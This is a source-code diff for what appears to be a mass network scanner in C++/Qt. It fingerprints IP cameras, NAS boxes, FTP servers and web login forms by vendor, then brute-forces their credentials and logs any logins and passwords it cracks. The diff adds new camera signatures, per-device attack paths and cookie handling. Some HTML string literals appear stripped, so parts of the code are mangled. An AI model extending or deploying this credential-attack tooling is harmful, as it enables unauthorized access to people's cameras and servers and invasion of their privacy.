if(strstr(buffcpy, "geovision") != NULL && strstr(buffcpy, "ip camera") != NULL) return 33; //GEO web ip cam + if(strstr(buffcpy, "geovision") != NULL && (strstr(buffcpy, "ip camera") != NULL || strstr(buffcpy, "ssi.cgi/login.htm") != NULL)) return 33; //GEO web ip cam + if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL) + || (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam + if(strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL) return 35; //EasyCam + if(strstr(buffcpy, "panasonic") != NULL && (strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL)) return 36; //Panasonic Cam + if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180 + if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL && strstr(buffcpy, "js/upfile.js") != NULL) return 38; //Foscam + if(strstr(buffcpy, "ip surveillance") != NULL && strstr(buffcpy, "customer login") != NULL) return 39; //EagleEye + if(strstr(buffcpy, "network camera") != NULL && strstr(buffcpy, "/admin/index.shtml?") != NULL) return 40; //Network Camera VB-C300 + if(strstr(buffcpy, "sq-webcam") != NULL && strstr(buffcpy, "liveview.html") != NULL) return 41; //AVIOSYS-camera if(((strstr(buffcpy, "220") != NULL) && (port == 21)) || (strstr(buffcpy, "220 diskStation ftp server ready") != NULL) || (strstr(buffcpy, "220 ftp server ready") != NULL) || strstr(buffcpy, "500 'get': command not understood") != NULL ) return 16; // 16 - FTP + + if(strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL + || strstr(buffcpy, "ip box camera") != NULL || strstr(buffcpy, "snaff") != NULL + || strstr(buffcpy, "hfs /") != NULL || strstr(buffcpy, "httpfileserver") != NULL + || strstr(buffcpy, "network camera server") != NULL + || strstr(buffcpy, "ipcamera") != NULL || strstr(buffcpy, "$lock extended") != NULL + || strstr(buffcpy, "ip camera") != NULL + || strstr(buffcpy, "ipcam_language") != NULL + || strstr(buffcpy, "/viewer/video.jpg") != NULL || strstr(buffcpy, "smart ip device") != NULL + || strstr(buffcpy, "sanpshot_icon") != NULL || strstr(buffcpy, "snapshot_icon") != NULL + || strstr(buffcpy, "ipcam") != NULL + ) return 0; if(strstr(buffcpy, " body { background-color: #141414; font-family: monospace; font-size:95%;} #ipd{background:black;width:100%;white-space:nowrap;overflow-x:none;display:inline-block;}#ipd:hover{color: #909090;background:#202020;}#tit{text-align:center;border:1px solid #5d5d5d;}a{color: gray;text-decoration: underline;} a:focus{ outline-style: dashed;outline-width:1px; outline-color: red;}"}; +char styleBuff[1024] = {""}; char topBuff[1024] = {"

"}; void fputsf(char *ip, char *port, char *text, int flag, char *msg) { @@ -512,13 +566,28 @@ void fputsf(char *ip, char *port, char *text, int flag, char *msg) #pragma endregion if(file != NULL) { + time_t rtime; + time(&rtime); + if(horLineFlag == false) + { + horLineFlag = true; + char delimiter[128] = {0}; + char cdate[32] = {0}; + strcpy (cdate, "["); + strcat (cdate, ctime (&rtime)); + memset (cdate + strlen(cdate) - 1, '\0', 1); + strcat (cdate, "] "); + strcpy(delimiter, "
"); + strcat(delimiter, cdate); + strcat(delimiter, "

"); + fputs (delimiter, file); + }; ++saved; char *string = new char[strlen(text) + 512]; if(flag != -22) { strcpy (string, "
"); - time_t rtime; - time(&rtime); + char cdate[32] = {0}; strcat (cdate, "["); strcat (cdate, ctime (&rtime)); @@ -531,8 +600,7 @@ void fputsf(char *ip, char *port, char *text, int flag, char *msg) else { strcpy (string, "
"); - time_t rtime; - time(&rtime); + char cdate[32] = {0}; strcat (cdate, "["); strcat (cdate, ctime (&rtime)); @@ -622,7 +690,7 @@ void fputsf(char *ip, char *port, char *text, int flag, char *msg) { if(innerCounter > 20) { - stt->doEmitionRedFoundData("Write file loop detected!"); + stt->doEmitionRedFoundData("\"fOpened\" loop detected!"); break; }; ++innerCounter; @@ -646,17 +714,12 @@ void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *h { char log[4096] = {0}, msg[512] = {0}; - if(flag == 0 || flag == 15 || flag == -10) strcpy(msg, "Anomaly - "); - else if(flag == 3) strcpy(msg, "Suspicious - "); - else if(flag == 9) strcpy(msg, "Timeout - "); - else if(flag == 7) strcpy(msg, "Low Load - "); - else if(flag == 8) strcpy(msg, "Forbidden - "); - else if(flag == 6) strcpy(msg, "Not Found - "); - else if(flag == 5 && mode != 1) strcpy(msg, "Bad Address - "); - else if(flag == 4) strcpy(msg, "Bad Request - "); - else if(flag == 2) strcpy(msg, "Printer - "); - else if(flag == 666 || flag == 350) strcpy(msg, "Strange Error - "); - else if(flag == 10) strcpy(msg, "Login form - "); + if(flag == 0 || flag == 15 || flag == -10) strcpy(msg, "[A]:"); + else if(flag == 3) strcpy(msg, "[S]:"); + else if(flag == 7) strcpy(msg, "[LL]:"); + else if(flag == 2) strcpy(msg, "[P]:"); + else if(flag == 666 || flag == 350) strcpy(msg, "[Strange Error]:"); + else if(flag == 10) strcpy(msg, "[LF]:"); QTextCodec *codec; strcat(msg, "Title: "); + strcat(msg, " : "); int sz = strf.size(); strncat(msg, QString::fromLocal8Bit(finalstr).toHtmlEscaped().toLocal8Bit().data(), (sz < 128 ? sz : 128)); strcat(msg, ""); - resMes += " Title: " + QString(finalstr).toHtmlEscaped() + ""; + resMes += " : " + QString(finalstr).toHtmlEscaped() + ""; }; #pragma region QTGUI_Area stt->doEmitionFoundData(resMes); @@ -713,15 +776,15 @@ void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *h }; } else strcat(log, " "); - strcat(log, ""); + strcat(log, "\"/>"); strcat(log, ip); strcat(log, ":"); strcat(log, port); - strcat(log, "; Received: "); + strcat(log, "; Received: "); strcat(log, std::to_string((long double)recd).c_str()); strcat(log, ""); @@ -756,7 +819,7 @@ void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *h if(flag != 6 && flag != 5 && flag != 4) { - strcat(log, "; Title: "); + strcat(log, "; T: "); strncat(log, QString::fromLocal8Bit(finalstr).toHtmlEscaped().toLocal8Bit().data(), 100); strcat(log, ""); @@ -773,8 +836,8 @@ void _specFillerBA(char *hl, char *ip, char *port, char *finalstr, char *login, ++PieBA; - strcpy(log, "[BA] "); - strcat(log, " Title: "); + strcat(log, " T: "); strcat(log, finalstr); strcat(log, ""); strcat(log, "\n"); @@ -803,8 +866,8 @@ void _specFillerWF(char *hl, char *ip, char *port, char *finalstr, char *login, ++PieWF; - strcpy(log, "[WF] "); - strcat(log, " Title: "); + strcat(log, " T: "); strcat(log, finalstr); strcat(log, " Pass: "); strcat(log, login); @@ -825,7 +888,7 @@ void _specFillerWF(char *hl, char *ip, char *port, char *finalstr, char *login, #pragma endregion fputsf (ip, port, log , flag, "Web Form"); }; -void _getFormVal(char *data, char *result, char *key) +void _getFormVal(char *data, char *result, char *key, char *path = NULL) { char parVal[256] = {0}; int psz = 0; @@ -842,39 +905,104 @@ void _getFormVal(char *data, char *result, char *key) int sz = 0; char parVal2[256] = {0}; + char startPath[256] = {0}; + if(strcmp(key, "action") == 0) + { + if(strstr(path, "./") == NULL) + { + char *ptrP1 = FindLastOcc(path, "/"); + if(ptrP1 != path) + { + int pSz = ptrP1 -path; + strncpy(startPath, path, pSz); + }; + }; + }; char *keyResult1 = strstri(parVal, key); if(keyResult1 != NULL) { - char *pkeyResult2 = FindFirstOcc(keyResult1, " >"); - if(pkeyResult2 != keyResult1) + char *pkeyResult2 = _findFirstOcc(keyResult1, " >"); + if(pkeyResult2 != NULL) { int psz2 = pkeyResult2 - keyResult1; strncpy(parVal2, keyResult1, (psz2 < 256 ? psz2 : 256)); - char *keyResult2 = FindFirstOcc(parVal2, "'\""); - if(keyResult2 != NULL && keyResult2 != parVal2) + char *keyResult2 = _findFirstOcc(parVal2, "'\""); + if(keyResult2 != NULL) { - char *keyResult3 = FindFirstOcc(keyResult2 + 1, "'\"> "); - if(keyResult3 != NULL && keyResult3 != keyResult2) + char *keyResult3 = _findFirstOcc(keyResult2 + 1, "'\"> "); + if(keyResult3 != NULL) { sz = keyResult3 - keyResult2 - 1; - strncpy(result, keyResult2 + 1, sz); + char tempRes[256] = {0}; + if(strstr(keyResult2, "./") != NULL) + { + strcpy(result, startPath); + strncpy(tempRes, keyResult2 + 2, sz - 1); + if(tempRes[0] != '/') strcat(result, "/"); + strcat(result, tempRes); + } + else if(strstr(keyResult2, "/") == NULL) + { + if(strcmp(key, "action") == 0) + { + strcpy(result, startPath); + strncpy(tempRes, keyResult2 + 1, sz); + if(tempRes[0] != '/') strcat(result, "/"); + strcat(result, tempRes); + } + else + { + strncpy(result, keyResult2 + 1, sz); + }; + } + else + { + strncpy(result, keyResult2 + 1, sz); + }; }; } else { - keyResult2 = FindFirstOcc(parVal2, "="); - if(keyResult2 != NULL && keyResult2 != parVal2) + keyResult2 = _findFirstOcc(parVal2, "="); + if(keyResult2 != NULL) { - char *keyResult3 = FindFirstOcc(keyResult2, "'\"> "); - if(keyResult3 != keyResult2 ) + char *keyResult3 = _findFirstOcc(keyResult2, "'\"> "); + if(keyResult3 != NULL ) { sz = keyResult3 - keyResult2 - 1; strncpy(result, keyResult2 + 1, sz); + char tempRes[256] = {0}; + if(strstr(keyResult2, "./") != NULL) + { + strcpy(result, startPath); + strncpy(tempRes, keyResult2 + 2, sz - 1); + if(tempRes[0] != '/') strcat(result, "/"); + strcat(result, tempRes); + } + else if(strstr(keyResult2, "/") == NULL) + { + if(strcmp(key, "action") == 0) + { + strcpy(result, startPath); + strncpy(tempRes, keyResult2 + 1, sz); + if(tempRes[0] != '/') strcat(result, "/"); + strcat(result, tempRes); + } + else + { + strncpy(result, keyResult2 + 1, sz); + }; + } + else + { + strncpy(result, keyResult2 + 1, sz); + }; } else { - strcpy(result, keyResult2 + 1); + strcpy(result, startPath); + strcat(result, keyResult2 + 1); }; } }; @@ -882,12 +1010,12 @@ void _getFormVal(char *data, char *result, char *key) } else { - stt->doEmitionFoundData("[WF]: GetParam - Cannot localize field."); + stt->doEmitionFoundData("[WF]: GetParam - Cannot retrieve field."); }; }; }; -static const std::string arrUser[] = {"user", "usr", "username", "login", "lgn", "account", "acc", "param1", "param3", "id", "A1", "uname"}; +static const std::string arrUser[] = {"user", "usr", "username", "login", "lgn", "account", "acc", "param1", "param3", "id", "A1", "uname", "mail", "name"}; vector vecUser (arrUser, arrUser + sizeof(arrUser) / sizeof(arrUser[0]) ); static const std::string arrPass[] = {"pass", "pw", "password", "code", "param2", "param4", "secret", "login_p", "A2", "admin_pw", "pws"}; vector vecPass (arrPass, arrPass + sizeof(arrPass) / sizeof(arrPass[0]) ); @@ -898,14 +1026,18 @@ char *_getAttribute(char *str, char *attrib) { char res[1024] = {0}; char *ptrStart = strstri(str, attrib); - char *ptrEnd = FindFirstOcc(ptrStart, "\r\n"); - int szAt = strlen(attrib); - int sz = ptrEnd - ptrStart - szAt; + char *ptrEnd = _findFirstOcc(ptrStart, "\r\n"); + if(ptrEnd != NULL) + { + int szAt = strlen(attrib); + int sz = ptrEnd - ptrStart - szAt; - if(sz != 0 && sz < 1024) strncpy(res, ptrStart + szAt, sz); + if(sz != 0 && sz < 1024) strncpy(res, ptrStart + szAt, sz); + else return ""; + + return res; + } else return ""; - - return res; } else return ""; }; @@ -964,13 +1096,15 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path char b[16] = {0}; char methodVal[128] = {0}; - char actionVal[128] = {0}; + char actionVal[512] = {0}; char userVal[128] = {0}; char passVal[128] = {0}; char frmBlock[4096] = {0}; char *fBlock = strstri(buff, " inputVec; if(fBlock != NULL) { @@ -989,7 +1123,7 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path }; _getFormVal(frmBlock, methodVal, "method"); - _getFormVal(frmBlock, actionVal, "action"); + _getFormVal(frmBlock, actionVal, "action", path); if(actionVal[0] == '.') { char tmpBuff[512] = {0}; @@ -1015,10 +1149,7 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path { insz = inptPtrEnd - inptPtr1 + 1; strncpy(tempInptStr, inptPtr1, (insz < 128 ? insz : 128)); - if(strstri(tempInptStr, "text") != NULL || strstri(tempInptStr, "password") != NULL ) - { - inputVec.push_back(std::string(tempInptStr)); - }; + inputVec.push_back(std::string(tempInptStr)); inptPtr1 = strstri(inptPtrEnd, "doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: No text/password fields found."); + fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "NULL", "NULL", comment, cp, tclass); + putInFile(flag, ip, tport, recd, title, hl, cp); }; } else { stt->doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: Cannot find form block."); + fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "NULL", "NULL", comment, cp, tclass); + putInFile(flag, ip, tport, recd, title, hl, cp); }; if(strlen(methodVal) == 0) @@ -1094,8 +1229,6 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path if(inputVec.size() > 0) { - char tport[16] = {0}; - strcpy(tport, itoa(port, b, 10)); if(strlen(userVal) != 0 && strlen(passVal) != 0) { Connector con; @@ -1112,7 +1245,7 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path else { stt->doEmitionFoundData("" + QString(ip) + ":" + QString::number(port) + " - [WF]: Cannot find user/pass field."); - fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "?", "?", "Unknown webform", cp, tclass); + fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "", "", "UnknownWebform", cp, tclass); putInFile(flag, ip, tport, recd, title, hl, cp); }; }; @@ -1138,7 +1271,7 @@ void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization"); }; }; -void _specBrute(char *ip, int port, char *hl, char *finalstr, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *data) +void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *data) { OnLiner = 1; lopaStr lps; @@ -1152,15 +1285,14 @@ void _specBrute(char *ip, int port, char *hl, char *finalstr, int flag, char *pa strcat(tport, itoa(port, b, 10)); Connector con; - if(strcmp(comment, "[DIGEST]") == 0) lps = con._BALobby(ip, port, path, "[DIGEST]", data); - else lps = con._BALobby(ip, port, path, "[NORMAL]", ""); + if(strcmp(comment, "[DIGEST]") == 0) lps = con._BALobby(cookie, ip, port, path, "[DIGEST]", data); + else lps = con._BALobby(cookie, ip, port, path, "[NORMAL]", ""); if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) { _specFillerBA(hl, ip, tport, finalstr, lps.login, lps.pass, flag); fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization"); - }; ZeroMemory(temp, strlen(temp)); @@ -1203,7 +1335,7 @@ const char *GetTitle(char* str) int y = str3 - str2; if(y > 256) { - strcpy(finalstr, "[Title: Strange title]"); + strcpy(finalstr, "[Strange title]"); } else { @@ -1220,7 +1352,7 @@ const char *GetTitle(char* str) if(strstri(firstStr, "") != NULL) secondStr = strstri(firstStr, ""); else { - strcat(finalstr, "[Title: Corrupted title]"); + strcat(finalstr, "[Corrupted title]"); return finalstr; }; int hm = (int)(secondStr - firstStr); @@ -1261,7 +1393,7 @@ const char *GetTitle(char* str) if(strstri(firstStr, "") != NULL) secondStr = strstri(firstStr, ""); else { - strcpy(finalstr, "[Title: Corrupted title]"); + strcpy(finalstr, "[Corrupted title]"); return finalstr; }; int hm = (int)(secondStr-firstStr); @@ -1288,7 +1420,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * { if(gNegDebugMode) { - stt->doEmitionDebugFoundData("[" + QString(ip) + "" + "] Negative hit: \"" + QString::fromLocal8Bit("404 Not Found").toHtmlEscaped() + "\""); + stt->doEmitionDebugFoundData("[" + QString(ip) + ":" + QString::number(p) + "" + "] Negative hit: \"" + QString::fromLocal8Bit("404 Not Found").toHtmlEscaped() + "\""); }; ++Filt; return -1; @@ -1331,25 +1463,28 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * strncpy(passSSH, ptrl1 + 1, lpsz); fillGlobalLogData(ip, hl, itoa(p, b, 10), std::to_string((long double)recd).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH"); - #pragma region QTGUI_Area stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit)); #pragma endregion + return -1; }; - lopaStr lps; - PathStr ps; - strcpy(ps.ip, ip); - ZeroMemory(ps.headr, sizeof(ps.headr)); - ZeroMemory(ps.path, sizeof(ps.path)); + + lopaStr lps; ZeroMemory(lps.login, sizeof(lps.login)); ZeroMemory(lps.pass, sizeof(lps.pass)); ZeroMemory(lps.other, sizeof(lps.other)); + + PathStr ps; + ps.port = p; + strcpy(ps.ip, ip); + ZeroMemory(ps.headr, sizeof(ps.headr)); + ZeroMemory(ps.path, sizeof(ps.path)); + char finalstr[TITLE_MAX_LENGTH] = {0}; - char cp[32] = {0}; - strcpy(cp, "utf-8"); char port[32] = {0}; - strcpy(port, itoa(p, b, 10)); int flag = 0; + char cp[32] = {0}; + strcpy(cp, "utf-8"); flag = ContentFilter(buffcpy, p, ip); @@ -1357,12 +1492,14 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * strcpy(ps.headr, GetTitle(buffcpy)); ps.flag = flag; + char pps[256] = {0}; strcpy(pps, "/"); std::vector redirStrLst; char rBuff[65536] = {0}; strncpy(rBuff, buffcpy, 65535); + char cookie[1024] = {0}; if(flag == 0 || flag == 3 || flag == 7 ) { int rh = _header(ip, p, buffcpy, lx, &ps, &redirStrLst, rBuff); @@ -1373,12 +1510,15 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * strcat(finalstr, ps.headr); p = ps.port; strcpy(ip, ps.ip); + strcpy(cookie, ps.cookie); }; int sz = strlen(ps.path); strncpy(pps, ps.path, (sz < 256 ? sz : 256)); }; - if(strlen(finalstr) != 0) strcat(finalstr, " -> "); + + strcpy(port, itoa(p, b, 10)); + if(strstr(finalstr, ps.headr) == NULL) strcat(finalstr, ps.headr); if(strstr(finalstr, "Error - Bad Address") != NULL) flag = 5; else if(flag == -1 || flag == 6 || strstr(finalstr, "[IGNR_ADDR]") != NULL) return -1; @@ -1394,17 +1534,16 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * char log[2048] = {0}; char logEmit[2048] = {0}; - strcpy(logEmit, "[FTP] "); - strcpy(log, "[FTP] "); + strcpy(logEmit, "[FTP]:"); + strcpy(log, "[FTP]:"); strcat(log, ip); + strcat(log, ":"); strcat(log, port); strcat(log, ""); strcat(log, "; Received: "); strncat(log, std::to_string((long double)recd).c_str(), 100); - BConInc(); - lps = con._ftpBrute(ip, p, &ps); - BConDec(); + lps = con._FTPLobby(ip, p, &ps); if(strstr(lps.other, "ROUTER") != NULL) { @@ -1504,87 +1643,119 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * } else if(flag == 21) //Eyeon { - _specBrute(ip, p, hl, "Eyeon Camera", flag, "/user/index.htm", "Eyeon Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Eyeon Camera", flag, "/user/index.htm", "Eyeon Camera", "Basic Authorization", cp, recd, ""); } else if(flag == 22) //IP Camera control { - _specBrute(ip, p, hl, "IP camera Control webpage", flag, "/main/cs_motion.asp", "IP Camera Control", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "IP camera Control webpage", flag, "/main/cs_motion.asp", "IP Camera Control", "Basic Authorization", cp, recd, ""); } else if(flag == 23) //Network Camera BB-SC384 { - _specBrute(ip, p, hl, "Network Camera BB-SC384", flag, "/live/index2.html", "Network Camera BB-SC384", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Network Camera BB-SC384", flag, "/live/index2.html", "Network Camera BB-SC384", "Basic Authorization", cp, recd, ""); } else if(flag == 24) //Network Camera VB-M40 { - _specBrute(ip, p, hl, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Network Camera VB-M40", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Network Camera VB-M40", "Basic Authorization", cp, recd, ""); } else if(flag == 25) //Panasonic WTFISTHISAreaOMGIDONTEVEN-camera { - _specBrute(ip, 60002, hl, "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", flag, "/SnapshotJPEG", "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, 60002, hl, "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", flag, "/SnapshotJPEG", "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", "Basic Authorization", cp, recd, ""); } else if(flag == 26) //Sony Network Camera { - _specBrute(ip, p, hl, "Sony Network Camera", flag, "/oneshotimage?", "Sony Network Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Sony Network Camera", flag, "/oneshotimage?", "Sony Network Camera", "Basic Authorization", cp, recd, ""); } else if(flag == 27) //UA Network Camera { - _specBrute(ip, p, hl, "UA Network Camera", flag, "/webs.cgi?", "UA Network Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "UA Network Camera", flag, "/webs.cgi?", "UA Network Camera", "Basic Authorization", cp, recd, ""); } else if(flag == 28) //Network Camera VB-M40 { - _specBrute(ip, p, hl, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Network Camera VB-??", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Network Camera VB-??", "Basic Authorization", cp, recd, ""); } else if(flag == 29) //LG Smart IP Device { - _specBrute(ip, p, hl, "LG Smart IP Device Camera", flag, "/digest.php", "LG Smart IP Device Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "LG Smart IP Device Camera", flag, "/digest.php", "LG Smart IP Device Camera", "Basic Authorization", cp, recd, ""); } else if(flag == 30) //NAS { - _specBrute(ip, p, hl, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "NAS", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "NAS", "Basic Authorization", cp, recd, ""); } else if(flag == 31) //ip cam { - _specBrute(ip, p, hl, "IP CAMERA", flag, "/check_user.cgi", "IP CAMERA", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/check_user.cgi", "IP Camera", "Basic Authorization", cp, recd, ""); } else if(flag == 32) //IPC WEB ip cam { - _specWEBIPCAMBrute(ip, p, hl, "[IPC] WEB IP CAMERA", flag, "[IPC] WEB IP CAMERA", "WEB Authorization", cp, recd, "IPC"); + _specWEBIPCAMBrute(ip, p, hl, "[IPC] WEB IP Camera", flag, "[IPC] WEB IP Camera", "WEB Authorization", cp, recd, "IPC"); } else if(flag == 33) //GEOvision ip cam { - _specWEBIPCAMBrute(ip, p, hl, "[GEO] WEB IP CAMERA", flag, "[GEO] WEB IP CAMERA", "WEB Authorization", cp, recd, "GEO"); + _specWEBIPCAMBrute(ip, p, hl, "[GEO] WEB IP Camera", flag, "[GEO] WEB IP Camera", "WEB Authorization", cp, recd, "GEO"); + } + else if(flag == 34) //Hikvision ip cam + { + _specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "[Hikvision] IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 35) //EasyCam + { + _specWEBIPCAMBrute(ip, p, hl, "[EasyCam] WEB IP Camera", flag, "[EasyCam] WEB IP Camera", "WEB Authorization", cp, recd, "EasyCam"); + } + else if(flag == 36) //Panasonic Cam + { + _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "[Panasonic] IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 37) //Panasonic Cam + { + _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "[Panasonic] IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 38) //Foscam + { + _specWEBIPCAMBrute(ip, p, hl, "[Foscam] IP Camera", flag, "[Foscam] IP Camera", "Basic Authorization", cp, recd, "Foscam"); + } + else if(flag == 39) //EagleEye + { + _specBrute(ps.cookie, ip, p, hl, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "[EagleEye] IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 40) //Network Camera VB-C?? + { + _specBrute(ps.cookie, ip, p, hl, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "[Network Camera VB-C??] IP Camera", "Basic Authorization", cp, recd, ""); + } + else if(flag == 41) //AVIOSYS-camera + { + _specWEBIPCAMBrute(ip, p, hl, "[AVIOSYS] IP Camera", flag, "[AVIOSYS] IP Camera", "Basic Authorization", cp, recd, "AVIOSYS"); } else if(flag == 20) //AXIS Camera { - _specBrute(ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "AXIS Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "AXIS Camera", "Basic Authorization", cp, recd, ""); } else if(flag == 19) //reecam cameras { - _specBrute(ip, p, hl, "Reecam (network camera)", flag, "/videostream.cgi", "ReeCam camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Reecam (network camera)", flag, "/videostream.cgi", "ReeCam camera", "Basic Authorization", cp, recd, ""); } else if(flag == 18) //linksys camera { - _specBrute(ip, p, hl, "Linksys camera", flag, "/img/main.cgi", "Linksys camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Linksys camera", flag, "/img/main.cgi", "Linksys camera", "Basic Authorization", cp, recd, ""); } else if(flag == 17) //Real-time IP Camera Monitoring System { - _specBrute(ip, p, hl, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Real-time IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Real-time IP Camera", "Basic Authorization", cp, recd, ""); } else if(flag == 11) { - _specBrute(ip, p, hl, "Netwave IP Camera", flag, "/videostream.cgi", "Netwave IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Netwave IP Camera", flag, "/videostream.cgi", "Netwave IP Camera", "Basic Authorization", cp, recd, ""); } else if(flag == 12) { - _specBrute(ip, p, hl, "IP Camera", flag, "/view/view.shtml?videos=", "IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/view/view.shtml?videos=", "IP Camera", "Basic Authorization", cp, recd, ""); } else if(flag == 13) { - _specBrute(ip, p, hl, "IP Camera", flag, "/eng/view/indexjava.html", "IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/eng/view/indexjava.html", "IP Camera", "Basic Authorization", cp, recd, ""); } else if(flag == 14) { - _specBrute(ip, p, hl, "IP Camera", flag, "/rdr.cgi", "IP Camera", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/rdr.cgi", "IP Camera", "Basic Authorization", cp, recd, ""); } else if(flag == 15) //For HFS { @@ -1594,40 +1765,36 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * OnLiner = 1; ++AnomC1; - strcpy(log, "[HFS] "); + strcpy(log, "[HFS]:"); strcat(log, hl); strcat(log, " :: "); strcat(log, ip); + strcat(log, ":"); strcat(log, port); - strcat(log, " Title: "); + strcat(log, " T: "); strcat(log, finalstr); strcat(log, " Pass: "); - lps = con._BALobby(ip, p, "/~login", "[NORMAL]", ""); + lps = con._BALobby(ps.cookie, ip, p, "/~login", "[NORMAL]", ""); strcat(log, lps.login); strcat(log, ":"); strcat(log, lps.pass); strcat(log, ""); - - fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, lps.login, lps.pass, "HFS-FTP", cp, "Basic Authorization"); - - fputsf (ip, port, log , flag, "HFS"); -#pragma region QTGUI_Area stt->doEmitionFoundData(QString::fromLocal8Bit(log)); -#pragma endregion ZeroMemory(temp, strlen(temp)); } else if(flag == 1) { - _specBrute(ip, p, hl, finalstr, flag, pps, "[NORMAL]", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, finalstr, flag, pps, "[NORMAL]", "Basic Authorization", cp, recd, ""); } else if(flag == 101) { - _specBrute(ip, p, hl, finalstr, flag, pps, 